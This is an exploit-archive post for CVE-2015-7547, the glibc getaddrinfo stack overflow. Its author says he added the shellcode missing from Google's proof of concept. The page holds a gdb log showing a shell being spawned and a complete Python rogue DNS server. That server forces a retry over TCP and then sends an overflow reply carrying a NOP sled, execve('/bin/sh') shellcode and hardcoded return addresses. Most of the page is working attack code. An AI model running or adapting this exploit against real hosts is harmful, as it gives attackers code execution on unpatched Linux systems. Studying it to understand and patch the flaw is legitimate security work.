Home / os / winmobile

glibc getaddrinfo Stack Buffer Overflow

Posted on 07 September 2016

add by SpeeDr00t@Blackfalcon (jang kyoung chip)

This is a published vulnerability by google in the past.
Please refer to the link below.

Reference:
- https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
- https://github.com/fjserna/CVE-2015-7547
- CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow

When Google announced about this code(vulnerability),
it was missing information on shellcode.
So, I tried to completed the shellcode.
In the future, I hope to help your study.

(gdb) gdb -q client1
Undefined command: "gdb". Try "help".
(gdb) r
Starting program: /home/haker/client1
Got object file from memory but can't read symbols: File truncated.
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send
sendto 1
TCP Connected with 127.0.0.1:60259
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = i?1/2i?1/2

foobargooglecom


query = foobargooglecom

$(i?1/2

foobargooglecom

[TCP] Request2 len recv 36
sendto 2
data1_reply
data2_reply
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send
sendto 1
TCP Connected with 127.0.0.1:60260
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = i?1/2i?1/2

foobargooglecom


query = foobargooglecom

$i?1/27

foobargooglecom

[TCP] Request2 len recv 36
sendto 2
data1_reply
data2_reply
process 6415 is executing new program: /bin/dash
$ id
uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$

'''

import socket
import time
import struct
import threading

IP = '192.168.111.5' # Insert your ip for bind() here...
ANSWERS1 = 184

terminate = False
last_reply = None
reply_now = threading.Event()

def dw(x):
return struct.pack('>H', x)

def dd(x):
return struct.pack('>I', x)

def dl(x):
return struct.pack('<Q', x)

def db(x):
return chr(x)

def udp_thread():
global terminate

# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))

reply_counter = 0
counter = -1

answers = []

while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
query_udp = data[12:]

# Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
data += 'x00' * 2500 # Need a long DNS response to force malloc

answers.append((data, addr))

if len(answers) != 2:
continue

counter += 1

if counter % 4 == 2:
answers = answers[::-1]

print 'udp send '
time.sleep(0.01)
sock_udp.sendto(*answers.pop(0))

print 'sendto 1 '
reply_now.wait()
sock_udp.sendto(*answers.pop(0))
print 'sendto 2 '

sock_udp.close()

def tcp_thread():
global terminate
counter = -1

#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)

print 'a'

while not terminate:
conn, addr = sock_tcp.accept()
counter += 1
print 'TCP Connected with ' + addr[0] + ':' + str(addr[1])

# Read entire packet
data = conn.recv(1024)
print '[TCP] Total Data len recv ' + str(len(data))

reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[2:2+reqlen1]

print 'data1 = ' +data1

id1 = struct.unpack('>H', data1[0:2])[0]
query1 = data[12:]

print 'query = ' + query1

# Do we have an extra request?
data2 = None
if len(data) > 2+reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
id2 = struct.unpack('>H', data2[0:2])[0]
query2 = data2[12:]

# Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw(1) # questions
data += dw(ANSWERS1) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query1 # question

for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(13) # ttl
answer += dw(4) # data length
answer += 'D' * 4 # data

data += answer

data1_reply = dw(len(data)) + data

if data2:
data = ''
data += dw(id2)
data += 'A' * (6)
data += 'x08xc5xffxffxffx7fx00x00'
data += 'x90' * (44)
data += 'x90' * (1955)
data += 'x48x31xffx57x57x5ex5ax48xbfx2fx2fx62x69x6ex2fx73x68x48xc1xefx08x57x54x5fx6ax3bx58x0fx05'
data += 'x90' * (100)
data += 'xc0xc4xffxffxffx7fx00x00'
data += 'F' * (8)
data += 'xc0xc4xffxffxffx7fx00x00'
data += 'G' * (134)
data2_reply = dw(len(data)) + data
else:
data2_reply = None

reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
print 'data1_reply'
time.sleep(0.01)
if data2:
conn.sendall(data2_reply)
print 'data2_reply'

reply_now.clear()

sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()

if __name__ == "__main__":

t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True

 

TOP